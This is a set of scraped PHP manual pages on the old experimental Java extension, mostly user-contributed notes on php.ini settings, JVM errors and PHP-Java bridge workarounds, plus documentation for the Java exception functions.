  • Overload resolution is in general a hard problem given the differences in types between the two languages. The PHP Java extension employs a simple, but fairly effective, metric for determining which overload is the best match. Additionally, method names in PHP are not case sensitive, potentially increasing the number of overloads to select from. Once a method is selected, the parameters are coerced if necessary, possibly with a loss of data (example: double precision floating point numbers will be converted to boolean).
  • In the tradition of PHP, arrays and hashtables may pretty much be used interchangeably. Note that hashtables in PHP may only be indexed by integers or strings; and that arrays of primitive types in Java can not be sparse. Also note that these constructs are passed by value, so may be expensive in terms of memory and time.

User Contributed Notes

anto dot justus at gmail dot com 10-Jun-2009 10:00
php java

The PHP code here is simple and straight forward. It is not
 OOP. But you probably got enough of that while doing the
 Java code.

<?php

java_require("F:\\wamp5\\www\\classes\\");
$obj = new Java("hello");

// Call the "sayHello()" method

$output = $obj->SayHello();

echo $output.' this text in PHP

'; // Displays (so this comes from the class!)

// Call the "SayNumber()" method

$output = $obj->SayNumber();

// Displays (so this comes from the class!)
echo $output.' is a lucky number';

//Because the JVM caches everything we want reset while
 playing with the code. Otherwise the

// a cached version of the same class file will be used
rather than the new one

echo "
Resetting back-end to initial state\n";

// suppress the warning message from the use of reset.

@java_reset();

?>

That's it. Now browse to the PHP page and you should get
 the results shown below.
anto dot justus at gmail dot com 10-Jun-2009 09:08
Session sharing with php and java
------------------------------------------

<?php require_once("java/Java.inc");
$session = java_session();
?>

<HTML>
<TITLE>PHP and JSP session sharing</title>
<BODY>
<?php

if(is_null(java_values($session->get("counter")))) {
  $session->put("counter", 1);
}

$counter = java_values($session->get("counter"));
print "HttpSession variable \"counter\": $counter<br>\n";
$session->put("counter", $counter+1);
?>
<a href="sessionSharing.jsp">JSP page</a>
</BODY>
</HTML>
Examples
Java Functions
Examples


Java Functions

Table of Contents

  • java_last_exception_clear — Clear last Java exception
  • java_last_exception_get — Get last Java exception

User Contributed Notes

Tom 23-Aug-2007 08:31
For those who have had the same problems with the php-Java Bridge,
here's a tutorial how to use the well supported soap extension to call Java methods:

http://rwatsh.blogspot.com/2007/03/
                       integrating-java-and-php-web-services.html

Since PHP5 soap extension is part of the PHP, so this is much easier to set up
than this php to java bridge, which crashed regularly.

Tom
Vikas Kumar 24-Jul-2007 10:46
wamp5_1.7.2.exe+jdk1.5.0_10 integration error
extension=php_java.dll
[java]
java.home="C:\Program Files\Java\jdk1.5.0_10; C:\Program Files\Java\jdk1.5.0_10\lib"
java.class.path="C:\wamp\php\ext\JavaBridge.jar; C:\Program Files\Java\jdk1.5.0_10\lib"
java.library.path="C:\wamp\php\ext; C:\Program Files\Java\jdk1.5.0_10\lib"
java.library="C:\Program Files\Java\jdk1.5.0_10\jre\bin\server\jvm.dll"
frey_thom76 at yahoo dot de 21-Apr-2006 06:16
The previous note is very misleading:

Switching from the Apache- to the CGI SAPI doesn't solve the fundamental problem that PHP4's ext/php_java continously allocates a new VM until the machine runs out of resources ("Fatal error: Unable to Create Java Virtual Machine")

The mentioned JavaBridge works well with PHP 4 (I use it since one year now)

It is not necessary to switch to Apache 2 to run PHP 4 and PHP 5 side-by-side
tobozo at phpsecure dot info 19-Apr-2006 08:06
Workaround for Win32 / Apache / PHP4 users that do not wish to switch from SAPI to CGI :

Java Bridge is a great project, and it's too bad I *have* to upgrade to php5 to see it working. One more reason not to use php5.

I have a production server running a few intranet applications and other php utilities, on a w2k platform with Apache-1.3.33 and php-4.3.10.

I need to have java working along with php on this production server, and I do not wish to upgrade all php applications to php5, nor do I wish to switch to Apache2 to get php4 and php5 running together.

So my choice went to ext/php_java. Of course I've had the usual issues  ...

"Fatal error: Unable to Create Java Virtual Machine"

Basically the workaround for this thread issue is to " use CGI instead of SAPI "

But CGI is slower than SAPI, what about performances for all my applications ?

Well there is a (clumsy) solution :  use both CGI and SAPI, keeping SAPI for the regular php work, and creating a new mime type and extension in the httpd.conf for the php files invoking java.

I chose to use the '.jhp' extension (yeah, sounds horrible but still, it's nicer than '.phava'), here's a copy of my settings :

my php.ini :
--------------
[Java]
extension=php_java.dll
java.class.path = C:\php4-Win32\extensions\php_java.jar
java.home = c:\jdk-1.5
java.library = c:\jdk-1.5\jre\bin\server\jvm.dll

my httpd.conf :
------------------
ScriptAlias /jhp/ "C:/php4-Win32/"
AddType application/x-httpd-jhp .jhp
Action application/x-httpd-jhp /jhp/php.exe

The Server :
--------------
Windows 2000 (fr) SP4
Apache/1.3.33 (Win32)
Php 4.3.10 (SAPI + CGI)
Java version=1.5.0_06
11-Mar-2006 10:33
For those who want to run php with a recent tomcat version, you'll need the following patch:

http://wiki.apache.org/tomcat/UsingPhp
meaton53 at hotmail dot com 08-Mar-2006 11:46
I just wanted to post this for people that were having the same troubles that I was having.  I am running OES SuSe Linux 9-1.  I started this adventure because I needed to connect to a progress database via PHP.  And I couldn't use ODBC drivers because the progress ODBC drivers were simply to old for unixODBC and iODBC (progress 9.1c).  So I had to use JDBC with this wonderful PHP extension along with the PHP-Java Bridge found at:
http://sourceforge.net/projects/php-java-bridge
So Just for some notes, in the PHP.INI file I had to have:

extension=java.so
[java]
java.java_home=/usr/local/java
java.classpath=.:/usr/progress/dlc91c/java/progress.jar
:/usr/progress/dlc91c/java/jdbc.jar
java.libpath=.:/usr/progress/dlc91c/lib
:/usr/local/lib/php/extensions

And be careful because lots of sites tell you that the two varibles above are java.class.path, and java.library.path.

And also to be able to connect to a progress database from java in Linux you have to set your LD_ASSUME_KERNEL varible to 2.4.0 to do this simply add to you profile.local file:
export LD_ASSUME_KERNEL=2.4.0.
If you want to know why please email me and I will tell you.
rabisultan at gmail dot com 07-Feb-2006 07:40
If you get this error

Fatal error: Unable to create Java Virtual Machine in

it can be fixed by modifying your php.ini file, you will need to add in the path to the JRE's lib folder.

My php.ini file (php4/Apache2):
java.class.path= "e:\minerva\php\extensions\php_java.jar; c:\j2sdk1.4.2_08\jre\lib; C:\j2sdk1.4.2_08"
java.home = "c:\j2sdk1.4.2_08\bin; c:\j2sdk1.4.2_08\jre\lib"
java.library = "c:\j2sdk1.4.2_08\jre\bin\server\jvm.dll"
java.library.path= "e:\minerva\PHP\extensions; c:\j2sdk1.4.2_08\jre\lib"
m mokhtar at gmail dot com 30-Oct-2005 11:03
Getting PHP JavaBridge to work with PHP5 on windows server:
====================================
1- Install Java J2EE 1.5 + JDK 1.4 (which includes application server/deploy tool/etc...)
2- download pecl-5.0.5-Win32.zip and php-java-bridge_2.0.8.zip, which will include
extra dll(s)
    - unpack pecl pkg to your extensions folder, in PHP5 its ext.
    - unpack java-Bridge to root php folder, in my case its simply C:\PHP
    Note: the java-Bridge inculdes new versions of certain files like php_java.dll
    so, it would be wise to rename your old files that came with PECL pkg for example
    file_old, to rollback at anytime.

In order to deploy/test Java-Bridge .war onto your java application server follow these steps

http://cvs.sourceforge.net/viewcvs.py/php-java-bridge/php-java-bridge/
INSTALL.WINDOWS?view=markup

Note: move JavaBridge.jar to your extensions folder. and in test.php file that came
with Java-Brdige package change line java_require("test/arrayToString.jar");
to java_require("tests.php4/arrayToString.jar");

Add the following to your php.ini file and restart server:-
java.classpath = "location of JavaBridge.jar file...i.e. to your PHP extensions folder\
JavaBridge.jar,also any other extra java files that you'll be instanciating using your php script"
java.java_home = "location of jdk\bin"
java.libpath = "location of php_java.dll file...i.e. also to your PHP extensions folder"

happy integration

Cheers!!
stanley dot turnteen at gmail dot com 31-Aug-2005 12:51
The php-java-bridge from sourceforge works great - it's stable and fast. I'm using it with the Lucene full text indexing package (http://lucene.apache.org/java/docs/index.html).
beoran at gmail dot com 25-May-2005 05:24
The php-java-bridge mentioned below is indeed the way to go. It also works fine on a php 4.3.2 Linux web server. I think I can reccomend it.
08-May-2005 02:04
<quote> JVM runs fine the first time, then broke....  </quote>

The php4 java extension is simply broken, don't use it.  I am
using the "PHP Java Bridge" for PHP5 with great success on WinNT:

http://php-java-bridge.sourceforge.net
ing dot ldf at gmail dot com 06-May-2005 11:38
Reading the other post... i can run java with php.
OS: Win 2000p
PHPDev 4.2
Java j2sdk1.4.2_01

my php.ini file is set like this:

[Java]
java.class.path = "C:\php\php\extensions\php_java.jar; C:\j2sdk1.4.2\jre\lib;C:\j2sdk1.4.2;"
java.home = "C:\j2sdk1.4.2_01\bin"
java.library = "C:\j2sdk1.4.2_01\jre\bin\server\jvm.dll"
java.library.path = "C:\php\php\extensions"

I have a great doubt about this..... JVM runs fine the first time, then broke.... and send a message like this:
Fatal error: Unable to create Java Virtual Machine in localhost\pag1.php on line 37
jost2345 at yahoo dot de 31-Aug-2004 05:08
The PHP/Java bridge that has been posted some time ago is now available on sourceforge.net.  It contains several bugfixes and is meant to be used as a replacement for the expermental PHP4 java bridge.

  http://sourceforge.net/projects/php-java-bridge/

So please don't send me private e-mails anymore to obtain the sourcecode for the bridge.

PHP/5 users may want to wait for the official PHP/Java bridge, which I expect to appear in a few years when java contains the appropriate hooks.
okapi at yahoo dot com 26-Aug-2004 10:05
As mentioned prior, Zend is working to be the first of an official servlet / scripting integration. I've been testing their reference implementation that's available on the JSR 223 site and it's working pretty good. Some minor issues around the edges, but been working with one of their developers to fix it. So far, pretty good.
a9702466 at gmx dot net 03-Mar-2004 09:08
The Java Servlet SAPI works fine in a non-threading
environment. If you want to use threads (normal case) you
have to do several things to get it work:

- get the patched files from
  http://www.pelikan-it.com/download.html

- replace the sapi/servlet/servlet.java and
  sapi/servlet/servlet.c file by the patched files

- build the php like this
  ./configure --with-tsrm-pthreads \
    --with-servlet=/opt/resin --with-java=/opt/java \
    --prefix=/opt/php-4.3.4

The primary problem is, that the request and response
objects are stored as global instance-variables of the servlet
which will be overwritten by other threads invoking the
servlet (remember: just on servlet-object for all threads!) and
all crashes. I changed the servlet to pass the request and
response objects to the java- and native-methods (where
required) to prevent the problem.

Once you have solved this problem it works fine and needs
unlike the java-extension just one jvm.
norman at junkonline dot com 29-Feb-2004 04:16
This works fine on MacOS X (Panther). The one trick is, you need to symlink "java.so" in your php extensions directory to "libphp_java.jnilib".

Here's the relevant section from my php.ini file for anyone who needs it:

[Java]
java.class.path = "/usr/local/lib/java/php_java.jar"
java.home = "/System/Library/Frameworks/JavaVM.framework/Versions/1.4.2/Home"
java.library.path = "/usr/local/lib/php/extensions/no-debug-non-zts-20020429"
extension=java.so

You may have decided to put php_java.jar somewhere other than where I did.

For some reason, setting java.library in the ini file causes this to fail, so I left it out and things worked flawlessly without it. YMMV.
Thomas 25-Feb-2004 07:44
The documentation is missing an important note:

The PHP/JAVA bridge only works on threaded http servers such as IIS, it does NOT work on http servers such as APACHE which fork off (sub-)processes.

The reason for this is that for each new request APACHE fork()'s off a new and independed copy of itself, initializes the java VM and eventually passes control over to VM until the request is finished.  If the request is  finished, the child with the java VM go to the apache pool.

That means that after a while hundreds (up to MAX-PROCESSES) of  java VM's are in the apache pool each of them eating away up to 64MB.  The machine may sooner or later crash because it ran out of memory. (If you have luck, the bridge will not run at all because apache was not statically linked to the pthreads library).

Although another PHP/Java bridge exists that does not have this problem (do a google search for "A new PHP/JAVA module"), the java binding (used by both bridges) has also problems one must be aware of. For example if one creates a Properties() object, one will receive a reference to it and may ask this reference for its values. However, if one invokes a method that returns a Properties() object, one will receive an array of values, not a reference to the Properties() object.

In short: If you want to use java from php in IIS, you can use this bridge. BUT if you want to use java from php in APACHE, you must use a socket approach (for an example see "A new PHP/JAVA module").
georgedaswani at hotmail dot com 02-Feb-2004 02:39
I was able to compile java support in no problem and got it working sun jdk 1.4.2_03 (linux)

make sure JAVA_HOME is set

make sure LD_LIBRARY_PATH has

$JAVA_HOME/jre/lib/i386

on php.ini

[Java]
java.home = "/opt/j2sdk1.4.2_03"
java.class.path = "/opt/php/lib/php/php_java.jar:/opt/php/java-packages"
java.library.path = "/opt/php/lib/php/extensions/no-debug-zts-20020429"
extension_dir= "/opt/php/lib/php/extensions/no-debug-zts-20020429"
extension = java.so

It's import to note that APACHE 2 needs to be compiled using "PREFORK" instead of a thread based else the java stuff will work for a minute, then stop working with the following error

"PHP Fatal error:  Unable to create Java Virtual Machine"

Seems that the extension is not thread safe.
golob a with tail gimb little spot org 03-Jun-2003 06:57
This module allows PHP to interact with some interesting pieces of software - for one, it allows PHP to convert XML FO files into PDF/PS/... with the use of Apache FOP processor.

Here's an example:
<?
$basedir = new Java("java.io.File", ".");
$outdir = new Java("java.io.File", "out");
$outdir->mkdirs();

$fofile = new Java("java.io.File", $basedir, "xml/fo/helloworld.fo");
$pdffile = new Java("java.io.File", $outdir, "ResultFO2PDF.pdf");

echo "Input: ".$fofile->toString()."\n";
echo "Output: ".$pdffile->toString()."\n";

$driver = new Java("org.apache.fop.apps.Driver");
$logger = new Java("org.apache.avalon.framework.logger.ConsoleLogger");
$driver->setLogger($logger);
$driver->setRenderer($driver->RENDER_PDF);
$out = new Java("java.io.FileOutputStream", $pdffile);
$driver->setOutputStream($out);
$in = new Java("java.io.FileInputStream", $fofile);
$driver->setInputSource(new Java("org.xml.sax.InputSource", $in));
$driver->run();
$in->close();
$out->close();
?>
raggha at hotmail dot com 13-Jan-2003 02:45
Just wanted to make available the solution I found posted on

   http://bugs.php.net/bug.php?id=18600

to solve the typical "Fatal error: Unable to Create Java Virtual Machine" trouble for Win32 users (thanks buddy):

[12 Dec 2002 9:19am] Alberto.Sarini@libero.it
Hi there,

I'm confirming C�dric's knowledge - java is running correctly from within PHP on Apache only when PHP is running as a CGI and not as a SAPI module. When running PHP as Apache SAPI Module after the restart Apache only fist access to php page using java is running OK, all next reloads of this page caused "Fatal error: Unable to create Java Virtual Machine
in ..." I think this could be still not solved bug.

Thanks
Alberto

BTW I'm running on:
OS:Win2000 Server SP2
Apache:1.3.27
PHP Version 4.3.0-dev (Build Date  Dec 12 2002 10:14:28)
Java version=1.4.1_01
Java vendor=Sun Microsystems Inc.
neil at lowden dot net 03-Jan-2003 01:41
** Success with W2K Server, PHP 4.3.0 as IIS5 SAPI module and J2SDK1.4.1_01 **

After a bunch of annoyingly spurious "access violation" and "Unable to create Java Virtual Machine" errors
I changed the php.ini setting for java.library from:

"C:\j2sdk1.4.1_01\jre\bin\client\jvm.dll"

to:

"C:\j2sdk1.4.1_01\jre\bin\server\jvm.dll"

All above examples now work perfectly incuding my own classes and those at
http://www.onlamp.com/pub/a/php/2001/06/14/php_jav.html (thanks to emilebosch above on 18-Oct-2001 07:19).

I'd really like to know the difference between 'client' and 'server' JVM versions if anyone can illuminate us.

Notes:

1. Manual install of PHP 4.3.0 to C:\php with the following relevant extracts from php.ini:

extension=php_java.dll
[Java]
java.class.path = "C:\php\extensions\php_java.jar;C:\java\packages\"
java.home = "C:\j2sdk1.4.1_01\bin"
java.library = "C:\j2sdk1.4.1_01\jre\bin\server\jvm.dll"
java.library.path = "C:\php\extensions"

2. Default installation of latest Java SDK from Sun

3. Win2K Server SP2 with all(?) patches

4. My own classes are placed in C:\java\packages\

Hope this helps some people.

Regards

-Neil
jason at buildernaut dot com 18-Dec-2002 06:28
ON Linux / Apache --with-apxs
Page cannot be displayed - Apache crapping out.
I spent a great deal of time getting this to work - but hey - I'm a newbie.
One thing I did find was that I experienced an error I have not seen on this board or anywhere else in searches.
If you try to run a test java .php page and you get a page cannot be displayed error, try adding the follwing to your apache startup script

export LD_LIBRARY_PATH=/usr/lib/j2sdk1.3/jre/lib/i386/server
:/usr/lib/j2sdk1.3/jre/lib/i386

And of course change to paths that mean something to you.
joey at creativejuices dot ws 11-Dec-2002 04:27
***  Win32 Users & Using Command-line Interface ***

First of all, this is AWESOME!!!!  I think PHP just took a huge leap forward with this capability!

Here is what you need:

In the Php.in file:

;Windows Extensions
extension=php_java.dll

[Java]
java.class.path = "C:\php\java\php_java.jar"
java.home = "C:\J2SDK_Forte\jdk1.4.0\jre"
java.library = "C:\J2SDK_Forte\jdk1.4.0\jre\bin\client\jvm.dll"
java.library.path = "C:\php\extensions"

**** Don't forget the double-quotes in the values ! ****

Next, add the file type association for Windows 2000.

1) open Windows Explorer
2) Click the Tool Menu Item
3) Select "Folder Options"
4) Select "File Types" tab
5) Select "New"
6) Type in your file extension for php scripts, I suggest ".phx" without the double-quotes
7) Click "Ok"
8) Find that extension in the "File Types" list again.  You may have to back out and come back in to find it.
9) Once you found that newly added php extension, select the "Advanced" button.  You can change the Icon here, but what you want to do is click the "New" button next to the "Actions" area.
10) For the "Action" value enter the value "open" without the quotes.
11) For the "Action used to perform this action:" value enter the value "C:\php\php-cli.exe -c C:\WINNT %1" without the quotes.

Lastly, add c:\php to you PATH Environment variable on your computer.

That should do it.  You can test it by creating a test.phx file and open a cmd (DOS) window and cd into that directory(eg. c:\junk) and just execute your test file like this: c:\junk test.phx

This should return you your results as expected.  If you don't know much about the php-cli.exe (cli = Command-Line Interface) go here http://www.php.net/manual/en/features.commandline.php.

I used the person's example at the top of this page and it worked.

Now, if I can just figure out how to call my own custom classes that have their own packages.
mike [at] blamires (dot) co (dot) uk 06-Nov-2002 04:45
For win32 users: I spent some time wondering why the php session couln't find my classes/packages saved in my own custom classpath. even though the correct paths were specified in java.class.path. The reasons was as simple as double quotes. e.g.

java.class.path = c:\php\extensions\php_java.jar; c:\java\packages\  - incorrect, the packages & classes in c:\java\packages will not be found

java.class.path = "c:\php\extensions\php_java.jar;c:\java\packages\" - will find all your classes and packages in c:\java\packages

Thanks to PHP for another stunning feature.
Mike
aruntheking at hotmail dot com 09-Oct-2002 03:40
Something that i missed out in my above mentioned earlier note on the same
topic, Thanks to Pablo for reminding me the same

Important
-------------

After you have completed the above mentioned steps, open the httpd file in /etc/init.d and type the following lines

LD_LIBRARY_PATH=:/usr/local/j2sdk1.4.0_02/jre/lib/i386
:\/usr/local/j2sdk1.4.0_02/jre/lib/i386/server

else you will get an error stating libverify.so not found

Another process
---------------

Before compiling PHP complete the following steps:
edit your /etc/ld.so.conf file by adding the following two lines:

/usr/local/j2sdk1.4.0_02/jre/lib/i386
/usr/local/j2sdk1.4.0_02/jre/lib/i386/server

To make this change effect, type the following at the command prompt:

ldconfig

Now "cd" into /usr/local/j2sdk1.4.0_02/jre/lib/i386 directory and enter the following command:

ldd libjava.so

The response that you get back shouldn't contain any "not found" error messages. If you get any then you can add the path for

the "not found" file to /etc/ld.so.conf and redo the above mentioned steps till you don't get any error messages.

Now you can compile PHP in the process mentioned above and follow the rest of the steps.
pablo-at-godel.com.ar 30-Sep-2002 02:22
For those using Redhat 7.x and Sun JDK, you have to set in LD_LIBRARY_PATH the directory where libjava.so .

In my case it looks like:
LD_LIBRARY_PATH=:/usr/local/j2sdk1.4.0_02/jre/lib/i386:\
/usr/local/j2sdk1.4.0_02/jre/lib/i386/server

This solved my problem with libjava.so not finding libverify.so

Hopes this helps to save some time for others.. I spent a lot of time before figuring this one out...
aruntheking at hotmail dot com 19-Sep-2002 08:55
Installing PHP 4.2.3 on Red Hat Linux7.2
with Java Support-Arunoday
-------------------------------

PHP as CGI module
------------------

1. Download PHP from www.php.net
2. Copy the file in the folder you want to have it installed like
 /usr/local
3. Unpack the file using the following commands
gunzip php-4.2.3.tar.gz
tar xvf php-4.2.3.ta
This will create a directory php-4.2.3.
4. cd into the above mentioned directory and type
 ./configure --with-java=<java directory>
You can add more options with
configure.
For a full list of options type ./configure --help | more

5. If configure doesn't through any error then type make
6. To test make you can type make test
7. To complete the installation type make install
In all probability the actual binary that this will create
by the name php will be in
the /usr/local/bin directory.
This file should then be copied to your
cgi-bin directory[the webservers cgi-bin]

in my system i issued the following command
cd /usr/local/bin/php /var/www/cgi-bin/php.cgi

8. Modify the php.ini with the following lines

[java]
java.class.path=/usr/local/lib/php/php_java.jar
java.library.path=/usr/local/lib/php
/extensions/no-debug-non-zts-20020429
java.home=/usr/local/j2sdk1.4.0_02
java.library=java.so
extensions_dir=/usr/local/lib/php/extensions/no-debug-non-zts-20020429
extension=java.so

in all probability the php.ini file will be
in the php4.2.3/pear/tests directory
- u will need to copy it to the
/usr/local/lib directory and add the above lines

You will also need to cd into the directory specified in java.library.path
above and type the following
ln -s java.so libphp_java.so
This will make a symbolic link to java.so file through libphp_java.so.

A call to any of your PHP file will have to be like the following:
http://<yourhostname>/cgi-bin/php.cgi?<yourfilename>.php

PHP as Dynamic Shared Object
----------------------------
Retrieve PHP binary as mentioned above.
The configiration process will be different and will be as follows:
./configure --with-apxs=/usr/sbin/apxs
--with-java=/usr/local/j2sdk1.4.0_02 --with postgresql

postgresql is optional - u can leave it out if you donot want to use it.
apxs is required as it gives the directive to configure php as a dynamic shared object with Apache.
Advantage, it runs in the same memory space as Apache
and hence accessing of data is faster.
Apart from this there is no need to call the php interpreter (php.cgi) with every call to a PHP file.

Add the following lines in the php.ini file - it should be in /usr/local/lib

[Java]
java.class.path=/usr/local/lib/php/php_java.jar
:/usr/share/pgsql/jdbc7.1-1.2.jar:/var/www/html
java.home=/usr/local/j2sdk1.4.0_02
java.library=/usr/local/j2sdk1.4.0_02/jre/lib/i386/libjava.so
extension_dir=/usr/local/lib/php/extensions/no-debug-non-zts-20020429
extension=java.so

You will also need to cd into the directory specified in java.library.path
above and type the following
ln -s java.so libphp_java.so
This will make a symbolic link to java.so file through libphp_java.so.

Note: the jdbc7.1-1.2.jar file mentioned in java.class.path
is the JDBC part for Postgresql.
alexg at syspro dot co dot za 28-Aug-2002 11:50
According to an Article posted at:

http://www.zend.com/zend/week/week91.php#Heading7

there might be some problems with getting php and jdk-1.4 to work toghether.. I`ve tried (php-4.2.2 and jdk-4.1) with no success....
amtd at 163 dot net 11-Jun-2002 03:45
--php.ini-------------------------

[Java]
java.class.path = .\extensions\php_java.jar
java.home = c:\java
java.library = C:\java\jre\bin\server\jvm.dll
java.library.path = c:\apache\php\extensions

--system---------------------------

Windows 2000 P + Apache + SUN jdk 1.4.0-beta3

--app path---------------------------

java(C:\java)
Apache(C:\apache)
PHP(C:\apache\php)

-----------------------------

success!
gturner at newedgenetworks dot com 30-May-2002 01:20
Hello!  I have two tips about getting PHP Java to work, hopefully google will pick this up...

After you've followed the instructions (building PHP with Java enabled and hacking php.ini) and you get a message like:

  Fatal error: Cannot instantiate non-existent class: java in (file) on line (line)

That means PHP doesn't know what the 'Java' function is.  You can confirm that the Java extension isn't loaded by looking at 'phpinfo' and verifying that there is no section titled Java.   To fix this you need to edit php.ini and set the 'extensions_dir' and an 'extension' appropriately.  On our system it was 'extension_dir = /opt/php/lib/php/extensions/no-debug-non-zts-20020429' and an 'extension = java.so'.  All the documentation I found said the extension library should be called 'php_java.so', but our build produced 'java.so', I have no idea why, YMMV.

The next error message I ran into was:

  Fatal error: java.lang.UnsatisfiedLinkError: no php_java in java.library.path in (file) on line (line)

Yay! this confirms that the JVM is indeed loading (UnsatisfiedLinkError is totally on the Java side), so relax, you're almost done!  What's happening is that the Java class 'net.php.reflect' (a class in php_java.jar that is built by PHP) is trying to execute 'System.loadLibrary("php_java")' and the JVM is unable to find the file named 'libphp_java.so' (or maybe 'php_java.dll' on Windows?).  If you ever heard of LD_LIBRARY_PATH, java.library.path is the same thing.  The solution has two parts: First making sure the php.ini has a 'java.library.path' (in the '[java]' section) that's pointed at the same directory that 'extension_dir', specifically the directory containing the file 'java.so' (or maybe 'php_java.so' like everyone else).  Second, this part is bad IMHO, making a symbolic link from the ''java.so' file to 'libphp_java.so' so that Java's System.loadLibrary method can find what it's looking for (apparently Java prefixes the filename it looks for with "lib").  To make this symbolic link do 'cd' into the extensions directory and run 'ln -s java.so libphp_java.so'.

Hope somebody finds this useful!
venuti at sissa dot it 04-Mar-2002 06:23
Invoking java servlet from PHP.
This might look silly, but I found many people on the net asking how to invoke a java servlet from php. Read these notes:
http://archives.neohapsis.com/archives/php/2001-03/0040.html
(look for the message about servlets).
Basically, it's like calling any other URL, so you can use the "file" function. Read also the online documentation about "file".
This solution is much easier than many others I have found around the net.
not_contactable at yahoo dot com 03-Mar-2002 11:16
Installation of PHP's Java module under Win32(Apache/IIS).

I install php in "C:\php", firstly I install with "php-4.1.1-installer.exe"(from http://www.php.net/downloads.php), and then unzip the "php-4.1.1-Win32.zip"(from http://www.php.net/downloads.php) to the C:\PHP.(because all the extension dll files are from this zip file, including php_java.dll)

I also install my Java v1.3 in "C:\jdk1.3"

And My Program require JDBC connection of the Java Program, so I did install also the JDBC driver for MySQL in "c:\JDBC4mysql\mm.mysql.jdbc-1.2c"(from http://www.mysql.com/Downloads/Contrib/mm.mysql.jdbc-1.2c.tar.gz).

About the PHP.ini:
1> You need to set the extension_dir="c:\php\extensions"(directory of all the extensions dll files)

2> Add those lines at the end of php.ini
======
[Java]
extension=php_java.dll
java.class.path="c:\php\java\php_java.jar;c:\wwwroot; c:\JDBC4mysql\mm.mysql.jdbc-1.2c"
java.home="c:\jdk1.3\bin"
java.library="c:\jdk1.3\jre\bin\hotspot\jvm.dll"
java.library.path="c:\php\extensions"
======

* extension: it is the DLL you wish to load in, here we want to load the java module.
* java.class.path: By default, you need to include the "C:\php\java\php_java.jar" for Java & PHP connection, AND those directories that contain the Java class files you wish to run. Here, my program Java classes are in "c:\wwwroot\", and ALSO the JDBC driver classes in "c:\JDBC4mysql\mm.mysql.jdbc-1.2c", because my Program need to import it.
* java.home: the bin directory (directory of java.exe)
* java.library: jvm.dll is supposed to be under JDK's jre\bin\hotspot, but sometimes it doesn't, try to Find(Start->Find) jvm.dll where it is.
* java.library.path: which is the same as the extensions directory.
christian at wenz dot org 08-Feb-2002 04:36
JDK1.4 RC is out, here are my Windows settings that make the Java extension work:

extension=php_java.dll
[Java]
java.class.path = c:\php\java\php_java.jar
java.home = d:\jdk1.4\jre
java.library = d:\jdk1.4\jre\bin\server\jvm.dll

I have not tested (yet) whether installing just the JRE works; for servlet support w/ Tomcat you do need JDK since Tomcat needs tools.jar that is not part of JRE.
ywliu at _spam_me_not_ dot hotmail dot com 29-Jan-2002 11:13
Hello,

There are two more useful links on phpbuilder.com in the PHP&JAVA discussion. They are related to the PHP and Java integration on Unix/Linux.

My settings (see above) is like that in the 1st link.

http://www.phpbuilder.com/annotate/message.php3?id=1009175
http://www.phpbuilder.com/annotate/message.php3?id=1008864

Moreover, I have the path to java in my PATH env. variable, so MAYBE its why my libjava.so works.  I couldn't find the origin of libjava.so, but now looks there are libjava.so and libjvm.so two options.

I built my php from the source package, and libphp_java.so does exist, at least on my RH6.2 with Apache 1.3.19 and Sun JDK 1.3.1.  libphp_java.so should be found under php-4.1.1/ext/java/.libs .

If you want to find some more discussion about PHP & Java integration, you may try  www.phpbuilder.com and look for php&java. It's a good place to start with.

Yen-Wei Liu
fernando at lozano dot eti dot br 24-Jan-2002 03:20
I managed to get it working with IBM Java SDK 1.3.0 but it was not easy. Here's my php.init:

[Java]
extension = libphp_java.so
java.library.path = /usr/local/lib/php/extensions/no-debug-non-zts-20010901
java.class.path = /usr/local/lib/php/php_java.jar
java.home = /opt/IBMJava2-13
java.library = /opt/IBMJava2-13/jre/bin/classic/libjvm.so

Besides, I had to edit the httpd init.d script to include the statement:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/IBMJava2-13/jre/bin:\
/opt/IBMJava2-13/jre/bin/classic

I guess java.library.path should serve for this, but it didn't worked.
Magnus_Naeslund at nowhere dot to dot be dot found 24-Dec-2001 09:52
An _very_ important thing here is to remember that the apache must be linked with pthreads (do "LDFLAGS=-lpthread ./configure <options>", or like me, add it the the .spec file).
You can check if your apache is pthreaded with "ldd $(which httpd)" if you like.
I experianced a lot of hangs/errors due to this problem, it's a shame that it's not in the docs / README (i didn't find it).

Magnus
Basic usage
java_last_exception_clear
Java


Clear last Java exception

Java Functions
java_last_exception_get
Java Functions
PHP Manual

java_last_exception_clear

(PHP 4 >= 4.0.2)

java_last_exception_clear — Clear last Java exception

Description

void java_last_exception_clear ( void )

Clears last Java exception.

Return Values

No value is returned.

Examples

See java_last_exception_get() for an example.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
Java Functions
java_last_exception_get
Java Functions


Get last Java exception

java_last_exception_clear
LDAP
Java Functions
PHP Manual

java_last_exception_get

(PHP 4 >= 4.0.2)

java_last_exception_get — Get last Java exception

Description

object java_last_exception_get ( void )

Gets last Java exception.

Return Values

Returns an exception object.

Examples

The following example demonstrates the usage of Java's exception handler from within PHP:

Example #1 Java exception handler

<?php
$stack = new Java('java.util.Stack');
$stack->push(1);

// This should succeed
$result = $stack->pop();
$ex = java_last_exception_get();
if (!$ex) {
  echo "$result\n";
}

// This should fail (error suppressed by @)
$result = @$stack->pop();
$ex = java_last_exception_get();
if ($ex) {
  echo $ex->toString();
}

// Clear last exception
java_last_exception_clear();
?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

molli at loria dot fr 25-Jul-2001 03:50
Just pay attention to the return value
of java_last_exception_get(), it's an
exception java object.

To use it just call normal operations on a exception java object:

ex:

@$myconnect->execute(); // @ to avoid warning...
$exc=java_last_exception_get();
$res=$exc->getMessage(); // method call on a exception object...
$exres="class nToxic.Connect:login failed";
$this->assert($res == $exres, "$res == $exres");
java_last_exception_clear
LDAP
Java Functions


Lightweight Directory Access Protocol

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Using the PHP LDAP calls
  • Examples
    • Basic usage
  • LDAP Functions
    • ldap_8859_to_t61 — Translate 8859 characters to t61 characters
    • ldap_add — Add entries to LDAP directory
    • ldap_bind — Bind to LDAP directory
    • ldap_close — Alias of ldap_unbind
    • ldap_compare — Compare value of attribute found in entry specified with DN
    • ldap_connect — Connect to an LDAP server
    • ldap_count_entries — Count the number of entries in a search
    • ldap_delete — Delete an entry from a directory
